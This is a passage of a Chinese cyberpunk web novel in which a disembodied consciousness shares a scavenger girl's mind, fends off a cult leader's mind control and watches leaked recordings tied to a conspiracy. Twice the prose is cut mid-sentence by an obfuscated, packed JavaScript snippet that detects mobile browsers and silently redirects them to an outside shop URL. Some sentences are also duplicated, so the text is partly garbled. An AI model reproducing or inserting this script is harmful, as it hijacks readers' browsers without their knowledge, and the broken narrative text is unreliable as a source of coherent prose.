“三千信用点,拿去给你表弟交那笔模拟课的激活费吧。”至明的声音温和得像在布道,“会里一直在关注像你这样家庭困难的年轻人。你经历了那样惨烈的意外,却没有像李斯那样迷失,这份坚韧理应得到一点物质上的支持。” 夏雨盯着那张芯片,后背瞬间起了一层薄汗,她脑子里的连映闻言也微微一惊。 三千点,连夏雨姨妈要了多少钱都一清二楚。这个诚心互助会连私人通讯都监听,绝不仅仅是个普通的底层救助组织,其背后的能量与所图,显然远不止于此。 而这笔钱,比起封口费或者辛劳费,倒更像一个威胁。 想到这里,连映对夏雨说:【和他讨价还价,要价一万五,镇定点,看着他的眼睛,别说别的,看他会说什么。】 夏雨强行咽下一口唾沫。她没有去碰那三千点,而是定定地看着至明。 “至明导师。”夏雨的声音还在发抖,但吐字极其清晰,“一万五千点。” 连映在脑海中静静等待至明的反应。但下一秒,夏雨却死死掐住掌心,迎着至明的目光,擅自加了筹码。 她也有自己想说的话、想做的事。 “买我今天什么都没看见,也什么都没听见。”这个常年瑟缩的拾荒女孩,眼底突然爆出一股极度压抑的狠戾,“更买我以后替您盯着碎铁帮。” 连映在意识深处微微一怔,瞬间明白了夏雨的意图。 这丫头竟然想借势上位。她没按指令闭嘴,反而凭着野蛮的直觉,精准切中了互助会和碎铁帮之间的嫌隙。这股为了复仇和生存野蛮生长的狠劲,确实比一具听话的傀儡要有价值得多。 她没有多说什么,而是饶有兴致地看着夏雨强作镇定的自行发挥。 夏雨死死盯着至明,声音发紧:“铁颚他们心思太杂。您需要一把不用脏自己手的刀,我这条烂命没有退路,嘴也比他们严。” 至明面色不变,心底闪过一丝意外。 他看着眼前这个浑身发臭、明明怕得要死却敢拿自己当投名状往上爬的女孩,淡漠的眸子里第一次浮现出一种奇异的兴味。 他并没有被戳穿借刀杀人的恼怒。作为一个习惯了居高临下的布道者,他连交易都包装得滴水不漏。 “神明固然垂怜苦难,但也偏爱敏锐的羔羊。”至明的声音依旧温和,却透着冰冷的实质,“你能在这场迷途的试炼中保持清醒,你的悟性,理应得到更多的恩典。” 说着,他眼底微光一闪。 “滴——” 夏雨手腕上那块破旧的通讯终端突兀地响了一声。她下意识低头,屏幕上赫然跳出一条毫无来源的匿名转账提示:一万八千信用点已到账。 “卧槽!真的给了!” 她在心里对连映情不自禁地感叹道,对着自己银行账号上忽然多出来的数字看了又看,至明却突然微微俯下身,攫住她的注意力。 两人的距离被拉得极近,那股曾经极淡的草木香气,此刻仿佛被某种热度点燃,浓郁得近乎实质。这种香气封锁了夏雨的呼吸道,带着一种能够镇静神经、却也令人产生恍惚感的药效,丝丝缕缕地渗透进大脑,甚至侵入连映的意识体中。 夏雨眼前的视线开始模糊,原本紧绷的神经竟开始在香气中不由自主地松弛,一股熏熏然的迷醉感顺着脊椎向上蔓延。 在夏雨体内,和她感官同步的连映却没有受到影响,反而格外清醒。她能清晰地感知到,有一股极具侵略性的精神频率,正像毒蛇一样试图钻进夏雨的大脑中,心下顿时一紧: 难道这家伙也是个能力者? 不行!不管他是什么来头,都不能让他侵入夏雨大脑,更不能让他发现自己的存在! 连映毫不犹豫地调动精神力,死死稳住心神,极其冷静地在夏雨的意识表层,悄无声息地凝聚出一道初级的精神壁垒。 她很清楚这道仓促构建的壁垒并不坚固,也不知道对方有什么手段,但她绝不能坐以待毙。 ……! 只有精神维度能察觉到的无声碰撞。至明的精神诱导在触碰到这道毫无杂质、冷硬如绝缘空壳的壁垒时,无声无息地滑落。 夏雨原本开始涣散的瞳孔猛地重新聚焦,后背透出一层细密的冷汗。 近在咫尺的至明,动作微微一顿,那双永远古井无波的眼睛里终于掠过一抹真正的惊诧。 作为高阶共鸣能力者,他清晰地在夏雨脑海里感知到一层精神屏障。 这个精神屏障的手法粗糙而原始,可构成屏障的精神力却纯粹得令人发指,尽管手法粗糙,却成功将夏雨的大脑和一是隔离在他的精神触须之外,如果不强行加压,他根本无法探知夏雨的思维,更不要说施加影响。 至明眼底闪过一丝探究,没有继续施压,而是极其自然地收回精神触手,微微低头,高挺的鼻梁几乎擦过她的侧脸。 他凑到夏雨耳边,浓郁的檀香将她彻底包裹,语调低沉地缓缓开口道: “小雨,你现在的频率真的很奇妙。就像一具原本庸俗的躯壳里,突然生出了一层洗尽铅华的纯净。看来底下的那场死亡试炼,让你获得了某种珍贵的,来自神的……共鸣。” 至明直起身,修长的手指若有若无地替她理了理领口,眼里又恢复他那种悲悯而莫测的平静。 “世俗的仇恨固然好用,但主更看重的,是那些能在污浊中依然保持清澈的灵魂。” 他将一枚带有互助会徽章的黑色金属扣轻轻放在桌上,发出一声冰冷的轻响。 “今天深夜三点,戴上它,来地下三层的静疗室。你刚从那场恐怖意外里生还,大脑的频率非常不稳定,这很危险。我会亲自为你主持一轮深度修复,帮你清理心中的阴影。” 至明居高临下地看着她,嘴角勾起一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244481|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抹悲悯而莫测的弧度,“愿这份恩典,能一直指引你。” 夏雨浑身僵硬,头皮发炸。 而在意识深处,连映终于无声地松了一口气,神经却依然紧绷。 透过夏雨的视野,她在离开前最后环视了一圈这间密室。没有。在这个陈设简朴的小小房间里,或者说,在今天这个诚心互助会内部的任何一个角落里,她都没有看到那个出现过两次的漩涡眼睛形状的图案。 她本以为那个图案是这个组织的圣徽一类的东西,现在看来却并非如此。 她知道,今晚三点至明的赐福仪式绝不会是什么好事,而是至明准备好的精神手术刀。更糟糕的是,今天夜里,现实中的羁押所也将对她进行第一次算力抽取。那场针对大脑皮层的强制压榨,极有可能让她在最关键的时刻断开链接。 但现在,最重要的,是离开这里。 【走!出去再说。】连映在意识里沉声对夏雨道。 夏雨一把抓起桌上那枚黑色的扣子,酡红着脸,逃也似地冲出至明意味深长的视线。 夏雨撞开厚重的门帘冲了出去,外面的冷空气让她肺部的灼烧感稍微平复了一些。 “小雨?你怎么在这儿?至明导师找你谈……”柳姨正端着一盆刚洗好的电子零件走过来,见夏雨满脸通红、眼神发直,疑惑地想要伸手拉她。 夏雨侧身躲过,一个字都没回,一头扎进了外面昏暗的冷雨里。 “这孩子,真是……”柳姨嘟囔了一句,看着夏雨消失在沉降区错综复杂的巷弄深处。 连映待在夏雨体内,和她一同深一脚浅一脚地踩在泛着油光的积水里,雨水很快打透了那件单薄的防辐射服,刺骨的冷意顺着脊椎蔓延。 【你现在要去哪?】连映开口问,却没得到回应。 她在夏雨脑中沉默半晌,又开口道:【找个隐蔽的地方,我们需要谈谈。】 刚才她把仅剩的精神力都用来和至明对峙了,现在她能清楚感受到自己和夏雨的链接正在减弱,越来越无法屏蔽来自本体的感官体验,必须要趁现在抓紧时间把该说的话说清楚。 “你不是什么都知道吗?难道不能猜猜我现在要去哪?” “……”青春期的孩子真难搞,连映不知道她为什么又忽然不爽了,没有接话。 夏雨钻进一条堆满废弃义体的深巷,一边跑一边抹了一把脸上的雨水,突然压低声音冷笑道:“别装了。你根本不是会里派来的监察者,对吧?” 连映在意识深处沉默了一瞬。这丫头确实敏锐,不过,那本来也是她顺嘴找的借口,早晚都会露馅。 “监察者可不会帮着我对付至明。”夏雨眼神凌厉,语气笃定,“你救我的方式太野了,更像是一个躲在暗处、想利用我这具烂命干点私活的鬼。” 【既然你看穿了,那我们就把话挑明。】 连映丝毫没有被揭发的慌乱,语气平静道: 【我的确不是监察者。】 30.头颅里的秘密 【我确实不是监察者。】 连映坦然承认,没有继续解释自己的身份,而是问夏雨:【你是怎么看出来的?】 “呵。”夏雨眼神嘲弄,“今天早上我就觉得不对劲,但是当时你救了我,我也没和会里的监察者直接接触过,状况危险,就没顾上细想。但我总觉得,你给我的感觉和互助会的人不太一样。而且……” 夏雨顿了顿,语气变得冷硬,“你刚才对至明的态度太生硬了。如果你真的是他们的人,你会知道互助会这种地方水有多深,知道至明的地位和手段,绝对不会站在我这边帮我对付他。” 【你就没考虑过我是你脑子里的幻觉?】 “幻觉?”夏雨嘲弄地笑了一声,“沉降区的孩子没这种东西。” 【好吧,你说得对。】连映语气坦然,撤掉了那层维持的神秘冷硬的腔调:【我不是监察者。我跟你一样,是一个早该消失却又活了下来的人。我不能告诉你我的身份,但你放心,我绝对不是你的敌人。】 夏雨盯着水洼里的倒影,半晌才开口: “这次你倒没有说谎。我这人直觉向来很准。刚才如果你继续编瞎话骗我,我会直接找家黑诊所,把脑子里那个不知名的模块直接抠出来。哪怕变成白痴,我也不会让一个满嘴谎话的东西待在我的命门里。既然你说了实话,那你算通过了我的测试。” 连映察觉到了夏雨这种近乎自残的防备心。这种通过测试的代价,是夏雨终于愿意向她敞开一点门缝。 “还有就是……今天,谢谢你。还有刚才在密室里,那股味道……”夏雨在心底极其生涩地默念,语气里带着点郑重,“我不知道你是谁,但在沉降区,只要钱给够,或者欠了命,我什么都能干。以后你有需要在沉降区办的事,我可以帮忙。” 【帮忙就不必了,我们做个交易。】 连映看了一眼【信任值上升30点】的系统提示,语气平静道。 【我需要你帮我打探消息,和互助会有关。作为交换,我可以给你两样东西。】 【第一,对你的意志和精神庇护。】 连映的声音极其冷静:【你在密室里闻到的那股檀香夹带着一股异常的精神频率。如果刚才我没有强行帮你切断那股频率,你现在已经被那个男人种下种子,和别人一样被洗脑了。我不知道你对这各组织的信任和参与有多深,但只要有我在,互助会那些洗脑手段动不了你。】 夏雨浑身打了个寒颤。直到这一刻,她才真正意识到自己到底躲过了一场怎样可怕的死局。她猛地攥紧拳头,心跳如擂鼓。 【第二,我看得到你身体里藏着连你自己都不知道的潜能。】连映继续抛出筹码,【在致命危机时,只要你在心里呼唤我,我可以临时接管你的身体,帮你打破限制,解决麻烦。每天限一次。】 【除了帮我打探消息,我有时需要征用你的躯壳去办一些我不方便出面的事,需要你开放权限给我。放心,我不会用你的身体去送死,也不会霸占你的身体,如果你全力抵抗,应该能把我挤出去。】 “……好,成交!”夏雨思索了几秒钟,答应下来。 系统提示接着传来: 【信任值上升:20点。(当前信任值:20)】 【核心权限解锁!】 【检测到双方已达成契约,载体信任值达标。】 【恭喜宿主获得该载体的“主动链接(授权入侵)”权限。】 连映在意识深处看着这条暗金色的提示,心里终于落下一块石头。有了这个权限,即使物理躯壳被困在羁押所,她也能在这个世界拥有一具可以相对自由行动身体,和一个能够暂时同行的人。 夏雨沉默了片刻。这种赤裸裸的利益交换,反而让她感到了前所未有的踏实。 “那,你要我查什么?” 【你还记不记得那个金属片上的旋涡眼睛的图案?】 连映停顿了一下,等待夏雨回忆起来,【刚才互助会内部,包括至明的办公室里,我没有看到任何相关的标识。这个图案被藏在只有李斯这种级别的老骨干才能接触到的货里,说明它在互助会内部也不是公开的,甚至可能属于更隐秘的层级。】 “旋涡眼睛……”夏雨仔细回忆了一下,摇了摇头,“我现在的权限太低,只能接触到外围。但既然至明让我去参加那个赐福仪式,我会留心看。” 提到仪式,夏雨的眼神暗了暗:“今晚三点……他们会做什么?你能过来帮我吗?” 想到今天夜里的算力抽取,连映也心里一紧。 【我今夜有事,不一定能赶到你这边。】 连映没有隐瞒风险,但这正是建立信任的一部分: 【今天夜里,你应该不会有生命危险。当然,如果遇到危险或感到不对劲,你可以在心里强烈地呼唤我,如果我那边情况还好,一定会过来接应你。】 连映说得很坦然,但是这种坦然反而给了夏雨一种安全感。 “好。”夏雨点点头,“今晚三点,地下三层,我会准时赴约。” 【那我们现在去哪?】连映问,【我猜,是和那颗头有关?】 “差不多吧。”夏雨重新迈开步子,不知为何轻轻叹了口气,“那地方离这儿不远,但他那个死人头一碰上网就会自动上传报警,只有那个地方能处理。” 两人穿过几条窄巷,一座暗红色的巨型混凝土圆柱矗立在街道尽头,上面挂着个破旧的金属牌子:城南骨灰塔。 在城南骨灰塔的招牌上方,一尊残破的佛像被蓝紫色的霓虹灯管缠绕着,光晕忽明忽暗,映着墙根下的电子废料,呈现出一种荒诞的幽默感,可是想到这个地方的性质,又让人不好意思笑出来。 这里不烧香,空气中弥漫着刺鼻的电缆烧焦味。 连映问:【这里以前是什么地方?】 夏雨说:“这里之前是旧时代的手机配件厂,现在那种老式通讯器被脑芯通讯完全取代了,这里被改造成了骨灰塔,兼电子垃圾堆放地,兼流浪汉庇护所。” 一边说,她一边推门而入,熟练地闪身避开走廊里蜷缩的几个流浪汉,钻进一条黑暗的侧廊。 这个走廊里光线极其昏暗,夏雨的打开智能目镜的手电筒功能,外围区域的墙壁上密密麻麻地嵌着蜂窝状的金属格子,大部分都紧紧锁着,表面斑驳的电子名牌积满灰尘。 有几个格子的铁门被撬坏了,歪歪扭扭地敞开着,露出里面廉价的合成骨灰罐,以及旁边插在接口上、还在闪烁微弱红光的旧式硅基存储卡。 夏雨叹了口气,过去把几个敞开的小门顺手推了推,然后穿过这片区域,钻进了一条更为阴暗潮湿的地下侧廊。 一进入这里,空气中那股电缆烧焦的味道就变了,取而代之的是一种潮湿的真菌霉味。 这一片的格子外门用的是廉价的半透明聚合物面板,面板边缘甚至长出了细碎的暗绿色苔藓。透过那些被水汽模糊的面板,能看到里面透出幽蓝的生物冷光。 【这是——?】连映在脑海中问道,有些讶异。 在她的过往人生里,生与死都有体面的界限。母亲是失踪,没有尸骨;父亲的骨灰被继母拿走埋在老家,五年来她统共也没回去过几次。 在她的认知里,灵位要么是公墓,要么是摆在客厅的全息投影。她从未见过这种将骨灰、废电子零件和活体组织强行揉捏在一起的地下坟场。 “没见过吧?这几年底层流行这样的活体灵龛。” 夏雨指指开墙上几个门板坏掉敞开的格子,每个里面都装着一个半透明的生物培养皿,微缩的类神经纤维在浅绿色的培养液中缓慢搏动,像是一颗颗微弱跳动的心脏。 “最底层的穷人连二手硅基硬盘都买不起。他们只能买这种用真菌孢子种出来的湿件芯片,把死者记忆和身体扫描数据压进去。便宜,不用接电,只要定期滴两滴营养液就能活很久,期盼哪一天暴富能给亲人重新找个身体。不过,到最后,绝大多数也是在这里烂掉的命。” 【你母亲也是在这里——?】说实话,连映不太想把自己母亲的遗骸放到这种地方。 “噗!你觉得我会把我妈放这!?”夏雨在意识里嗤笑出声,然后正色道,“我妈确实在这买过一个灵位,但是呢,她的骨灰我随身带着,在这里只是个——” 夏雨从腰包里掏出一个钥匙打开其中一个格子,露出里面的一个圆咕隆咚的银色袋子。 不用她说,连映已经知道这是什么了。 李斯的头颅。 夏雨拎起那个银色袋子,走到侧廊尽头一个 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一墙之隔的里面,连映在夏雨的意识深处微微蹙眉。不知为何,她总觉得这一路的背影有些发凉,像是有针尖在轻轻抵着她的后脑,直到现在,她忽然感到,身边极近的地方多了一个黑色的存在,精神频率极为混沌、机械,不同于任何连映目前用精神力感知到的普通人类或机械,让她本能地毛骨悚然。 【等等。门外有东西,很近。】连映后背渗出一片冷汗,声音紧绷地道。 夏雨的手猛地一顿。她透过门缝死死盯着昏暗的走廊。走廊里只有生物纤维的幽蓝冷光在闪烁。 “你神经衰弱了吧?这里头连只电子蟑螂都进不来。” 【相信我。】连映的精神力察觉到了某种极其诡异的波动。那毫无人类呼吸的起伏,仅仅是一种令人毛骨悚然的、流体蠕动时的黏腻感。距离近到仿佛就在门缝边缘。 “哎呀,放心了,不管是谁,他也都只能乖乖在外面等着,放心吧。” 连映仔细感受了一下,但是那个存在确实是停留在外面没有进来,心里略略松了一点。 一墙之隔外。 阴影里,监察者黑蛭像一滩没有四肢的黑色沥青,从墙砖的缝隙中流了出来。他的全身上下包裹在不断流动的磁流体拟态服中,连五官都被完全抹平。刚才他如同蛇信般探出的一缕黑色流体,离铅门的边缘只有不到三公分。 随着气密锁沉闷的落锁声,黑蛭目镜内的热感应瞬间被厚重的铅板彻底切断。他像一滩黏稠的黑水般贴在冰冷的铅门上。这种军工级防辐射门连分子毒气都能隔绝,他毫无办法,只能再次融化进昏暗的积水中死死守在外面。 狭窄的舱室内。 空气混浊。夏雨靠在门上粗重地喘息着,从内衣夹层里捏出了一枚带有微弱生物电脉冲的微型存储卡和微型全息终端。 “下午在废品站,我做了一个物理短路,把李斯的底层日志强行拷出来了。靠,老鼠他那破玩意儿居然必须得用能兼容生物湿件的全息终端,幸亏我这还有一个,不用额外破费。” 夏雨将芯片贴在插槽上,从腰包里挤出一滴暗绿色的导电凝胶,休眠的接口瞬间被激活。细密的生物神经丝像触手一样探出,贪婪地接驳住存储卡的触点。全息投影在黑暗中猛地亮起,像一团肉块颤颤巍巍地晃动。 那是一段隐藏在通风管网背后的偷拍视角。画面下方是一间极具古典艺术气息,却又摆满精密生化仪器的超规格实验室。 实验室中央矗立着一台刻着旋涡眼睛图案的巨大培养舱。舱内是翻滚着的蚀械菌红色黏液。黏液正附着在一具半机械的躯体上,金属表面生出脉状的真菌丝和类神经纤维,正在进行令人作呕的血肉转化。 这是什么鬼实验? 连映看了一眼画面里的那个和李斯死前状态极为相似的躯体,感觉有些不适,还没来得及说话,下一秒就立刻看到了那个培养舱上的图案。 那个图案,不就是——!?连映立刻精神一凛,集中注意力观看接下来的画面。 培养舱前站着一个戴无菌手套、穿纯白高定西装的男人。 这个人,连映化成灰都认识。 他就是昨天被全球直播死亡的易楚生。 31.双重危机 对于连映来说,这人只是一只碍眼的苍蝇,可她的命运却不得不一次又一次和这个苍蝇牵扯到一起,所有人都把她划定为一个变成加害者的受害者,这让她无比厌烦。 此刻,这只站在华美舞台中央的苍蝇,轻轻挥了挥手。 忽然,舞台中央培养舱红色黏液突然从那具躯体体内剥离出来,剧烈翻腾起来。那股混沌的号哭声立刻拔高数十倍,瞬间散发出一种恐怖而无形的振荡。 拍摄者的高级共感录影设备显然根本无法承受这种级别的直击。视界里爆出一片猩红的乱码,刺耳的神经啸叫声瞬间撕裂了链接。 “啊!” 夏雨猛地扯掉脸上的全息目镜,身体重重地摔在悼念舱冰冷的铁地板上,脑子里针扎似的疼。两道鼻血顺着下巴滴落在破旧的夹克上。 如果没有连映撑开的精神屏障,这段直击脑皮层的影像造成的冲击绝对不止于此。那种高维精神污染极有可能瞬间摧毁一个普通人的理智。 李斯那个底层的电子拾荒者,就是因为看到了这个,为了保住这段能勒索内城权贵的绝密影像,才发了疯似的去黑市换掉自己的脑壳和脑芯的吗? 连映一边忍耐精神屏障被高频脉冲击穿后的余波,一边迅速收拢四散的意识。那股刺痛感让她的视线微微模糊,但她更担心夏雨身体的承受极限。 【夏雨,你现在感觉怎么样?】连映的声音在脑海中响起,透着一丝少见的凝重,【刚才的深潜反噬太强,如果撑不住就先停下。这块芯片里的其他文件,我们可以之后再看。】 夏雨粗重地喘息着,从地上挣扎着爬起来。她胡乱抹掉脸上的血污,沾着血的手指死死攥着那枚微型存储卡。 “停下?”夏雨的声音嘶哑得像砂纸摩擦,眼底翻涌着骇人的戾气,“他们把我妈当成清理掉的垃圾,把我当成随时回收的耗材。我现在要是停下,这辈子都只能当只躲在下水道里的老鼠。” 她将那滴带着黑色脓液的导电凝胶擦掉,重新挤上一滴新的,动作粗暴地将芯片再次拍进备用的读取器插槽里。 “我还能喘气。继续。” 终端屏幕闪烁了一下,跳出了剩下的文件列表。 夏雨点开第二段音频。 这段没有深潜画面,只有沙沙的杂音和极度清晰的定向收音,似乎是某种被安置在室内盆栽或换气扇里的窃听装置。 这段没有画面,只有沙沙的杂音和极度清晰的定向收音,录音设备似乎被安置在某种换气扇内部。 “你那边最近动静太大了。”一个陌生的男声响起,伴随着打火机的清脆声。 连映在意识深处微微一怔。这个声音听起来有一丝莫名的耳熟,似乎从哪里听到过,但一时间无法和具体的脸对上号。 录音里,那个陌生男声的语气透着毫不掩饰的阴沉和警告:“当年那些烂账,又有不知死活的东西在底下乱挖。为了把这些风声压下去,上面的大人们已经快失去耐心了。这个节骨眼上,要是你这把火再烧起来,连带我们的资金盘出问题,谁也保不住你。” “慌什么。”易楚生的声音慢条斯理地响起,这次是连映熟悉的嗓音,是属于易楚生自己未经处理的原声,“做你分内的事,我这边不用你操心。” “最好是不用我操心。”低沉男声冷哼一声,“我已经受够了你惹出来的这些麻烦。如果明天出了岔子,不用上面的人动手,我亲自宰了你。” “呵!”易楚生冷笑一声,脚步声渐渐远去。 音频到此结束。 连映若有所思地看着夏雨点开第三个文件。 李斯的机械手颤抖着撬开一个沾满血污的金属保险箱。 箱子底端压着一件洗得发白的破旧夹克。夏雨的心脏猛地一抽:“这是我妈的衣服!” 视频里,李斯翻开夹克,里面掉出一份残缺的纸质交易单。单子的正中央贴着一张泛黄的照片,照片上是一个戴眼镜的年轻女人,旁边印着一个名字:林墨(化名:夏清)。 照片下方,印着半截极其复杂的内城高权限代码,以及一长串令人咋舌的悬赏金额。 李斯的机械手指刚要去翻开那张单子查看背面的具体委托人信息。 “砰!” 地下室厚重的铁门突然被人一脚踹开。 “谁在那儿?!”一声粗暴的怒喝从画面边缘传来。 李斯的视角猛地剧烈晃动,录像断了。 夏雨视线发直地盯着黑掉的目镜屏幕,似乎还没从刚刚那个惊人的名字中恢复。 “夏清——这是我妈?可她不长这个样子……林墨是她以前的名字吗?我,我,我现在好慌……” 夏雨低着头,整个身体都微微颤抖起来。 狭窄的舱室内死一般的寂静,只有生物插槽发出微弱的搏动声。 【夏雨,冷静。】连映努力安抚道,【不管你母亲过去是做什么的,她始终是你母亲。】 “……我不是气我妈。”夏雨一把拽下目镜,低着头,忽然颤抖着道,“我只是……觉得自己很没用,完全靠不住,所以我妈才什么都没对我说过。其实,要不是我是个连脑芯都安不了的二等残废,她根本就不用死,都是因为我的病,她才不得不铤而走险……” “其实,事情未必是李斯说的那样,也许还有我们不知道的隐情。”连映语言苍白地安慰道,当然,没起到什么效果,夏雨反而哭得更凶了。 其实,现在她完全能体会夏雨的心情,因为她曾经有过和夏雨一模一样的心情,也因此,她也根本说不出口“这不是你的错”这句话,因为她甚至无法说服自己。 可是,她也同样知道,无论再怎么自责,事情都不会有任何改变。 连映感受着夏雨脸颊不断滑落的湿润,轻轻叹了口气。 至少在这个时候,她不愿意劝夏雨停止哭泣,因为这是她唯一能宣泄的方式,也因为,至少她还哭得出来。 哭了一会,夏雨终于冷静了点,重新戴上目镜。 终端列表里还排着十几个标有碎铁帮资金往来和据点坐标的文件,连映看着夏雨打开那些文件,正想仔细查看,意识深处突然袭来一阵来自本体的危机感。 “唰——” 连映眼前的世界忽然明灭重叠起来,一会儿是夏雨身处的黑暗狭窄的墙内空间,一会是连映本体所在的惨白明亮的羁押所。 羁押所走廊里。 连映的身体躺在正呼啦啦颠簸向前的担架上,眼前的世界剧烈摇晃着。隔壁区域传来沉闷的撞击声,狂暴的磁场干扰让整个房间的仪器滋滋作响。 连映感到一股极度混沌紊乱的精神风暴朝她自己的躯体袭来,吹得她和夏雨之间的精神链接摇摇欲坠。 大脑深处爆发出一声几乎撕裂颅骨的蜂鸣,视网膜边缘跳出猩红的警告:极度生理应激,链接不稳定,即将断联。 不好,链接快要断了! 连映忍着双重感官的混乱感受,在意识里尽量冷静地对夏雨快速交代: 【夏雨,我这边出了点状况,马上要被迫下线了。存储卡和那块金属牌绝对不能留在这里。这里不安全,这芯片里的内容也不能让会里、碎铁帮或者其他任何人知道,包括柳姨。除非你想明天就被人撕成碎片。】 “我明白,放心。” 黑暗里,夏雨死死咬着牙,在脑海中用力地应了一声。 【还有,】连映的声音开始时断时续,【一墙之隔外面那个存在,对你没有杀意,但它一直没有离开。可能是来监视你的。出去以后说话做事一定要谨慎,绝不能露任何马脚。我走了!】 “嗡——” 全息目镜的指示灯彻底熄灭,连映的意识体瞬间从夏雨的大脑中抽离。 狭窄的铁盒子里,只剩下夏雨粗重的喘息声。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258627|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她动作利落地拔下那枚微型存储卡,抹掉上面的导电凝胶,塞进内衣最隐蔽的夹层里。至于那块冰冷坚硬、甚至可能带有某种未知风险的金属牌,她并没有选择贴身放。 作为一个常年在垃圾场和黑市里讨生活的机械师,她有自己的生存智慧。夏雨迅速弯下腰,拔出藏在腰后的□□,挑开左脚那双厚重工装靴内侧的线头,将金属牌顺着靴筒的暗缝直接硬塞进了鞋底的复合夹层里,然后用力踩了踩。 这种地方不仅绝不会在混乱中被抢走,即便是遇到街头的帮派搜身,通常也能蒙混过关。 夏雨深吸了一口气,将匕首重新插回腰间。她抬起头,目光死死盯着那扇紧闭的铅层铁门。 她不知道门外到底有什么,但是她必须得走出去。 城市的另一边。 骨灰塔的潮湿空气忽然从连映的感官里消失了,同时涌入鼻腔的是属于羁押所医务室的消毒水气味。 “快!推进去!把门锁死!” 伴随着管教粗暴的吼声,连映所在的移动担架被猛地撞进医务室的合金大门。 “哐!” 医务室大门刚刚关闭,隔着强化玻璃咣咣砸门。合金门框在剧烈的撞击下发出令人心惊胆战的巨大声响。 现实的感官如冰水当头浇下,空气中弥漫着刺鼻的镇静剂气味和极其浓重的血腥味。连映的身体在担架上重重弹起又落下,身体遭受的激烈物理震荡瞬间切断了连映和夏雨之间跨越空间的脆弱链路。 “唔——” 连映瘫痪在担架上,鼻腔一热,温热的鲜血顺着人中流了下来,彻底失去了对夏雨频段的感知,但她已经无暇顾及那边。 因为,就在她头顶上,天花板上的那团黑斑已经膨胀到了令人窒息的程度。 它没有做出任何实质性的物理攻击,但以它为中心散发出的精神辐射,正让屋里的急救仪器爆出大片火花,也让门外的机械警卫彻底陷入了敌我不分的狂暴。 她能感到,那股黏腻阴冷的精神威压如同实质般的沥青,死死压在连映的大脑皮层上,企图强行渗透进她的意识深处。 连映死死咬住舌尖,强迫自己保持清醒,同时收缩全部精神力,在意识周围筑起防御壁垒。这种时候主意识绝对不能离体,否则这具躯壳瞬间就会被头顶的怪物夺走控制权。 就在她准备硬抗这波精神入侵的瞬间,系统深红色的警报在连映脑海深处疯狂闪烁: 【警告:共鸣者095精神受到高度威胁,面临崩溃风险。】 【警告:检测到载体X-08遭遇致命威胁,肾上腺素峰值突破阈值,神经突触极度活跃。】 【共鸣者095和载体X-08产生深度共鸣,底层保护协议激活。为避免精神体崩溃,系统强制开启共振模式。正在将载体X-08锁定为现实锚点进行强制精神泄压!】 【系统提示:共振模式开启,请共鸣者095注意】 等等,X-08——是那个之前碰到过两次的女执法者李蔚? 连映的瞳孔猛地收缩。 在这恐怖的精神压力下,系统强行将她溢出的意识像接通避雷针一样,导向了此时因为同样遭遇生存危机而和她产生共鸣的李蔚。 灵魂深处传来一阵被利刃劈开的撕裂痛楚。连映的视界毫无预兆地从中间一分为二。 左眼依旧是医务室摇晃的无影灯,和头顶那团不断逼近的压抑黑斑。 右眼却猛地被昏黄廉价的白炽灯光,以及浓郁的排骨汤水汽填满。 城北老顾面馆,外面暴雨如注。 李蔚正背对着过道坐在塑料椅上。一个穿着发黄围裙的男服务员端着两碗排骨面靠近。就在他走到李蔚身侧的瞬间,他空出的右手极其突兀地摸向了托盘底部。 一把用战术胶带倒贴在托盘下的短管消音枪露出了漆黑的枪口,直指李蔚的太阳穴。 32.雨夜密会 四十分钟前 暮城北部联邦治安署暮城特区B区执法分局 暮城十二月底的夜晚风凄雨寒,一下车,李蔚立刻被冻得打了个寒颤。今天早上出门匆忙,将执法专用防风围脖落在家里,此时也顾不上执法者的风度,缩着脖子匆匆走进执法局侧门。 “滴!生物验证已通过。重案组副组长李蔚。” 冰冷的机械女声在夜风中响起:“系统检测到您今早曾出入沉降区底层管网,且外衣内侧携带未登记的高密度晶体及金属构造物。请说明您此时返回局里的公务目的。” “啧。”李蔚烦躁地捋了一把额前翘起的碎发,按捺着情绪沉声回道,“回来调阅红灯区仿生人凶杀案的卷宗。“回来调阅红灯区凶杀案的卷宗。至于我内兜里的东西,那是我的私人物品,一个首饰。怎么,治安署现在连警员带什么私人首饰都要扫描建档、全息报备了?” “权限核对中……重案组二级权限。准许放行。” 李蔚冷着脸穿过闸机,心里松了口气。 她外衣内兜里装的不是私人物品,而是今天凌晨在创联塔下水道,那个被创联的无人机和猎犬追杀的不知名小鬼逃窜时掉落的胸针。 不是她不守规矩,而是,不能在门禁的安检AI这里亮出任何重要物证,是局里心照不宣的潜规则。 众所周知,门禁处这个造价昂贵的安检AI,底层数据链早就被内城财阀渗透成筛子了。把关键证物暴露在它面前,等于直接向那些大企业发送定位。 更何况,今天早晨张组长在局内的联合协查通报上,严令各部门留心查阅闻阗的家中物品以及实验室遗失的数据盘和手稿,却对这枚关键的胸针只字未提。 按理说,一件能将“失踪的明微生物科学家兼军方机密项目负责人”和“刺杀副总统胞弟的嫌疑犯”联系起来的交叉证物,绝对够资格触发全署的红色最高搜查令。但张组长却把它从官方系统的通报清单里彻底抹掉了。 李蔚对这种隐瞒式的操作熟悉得很,所以,虽然这东西最终可能还是得落到某个财阀手里,她也希望这个速度能慢一些。 穿过黑暗空荡的走廊,李蔚放慢了脚步。 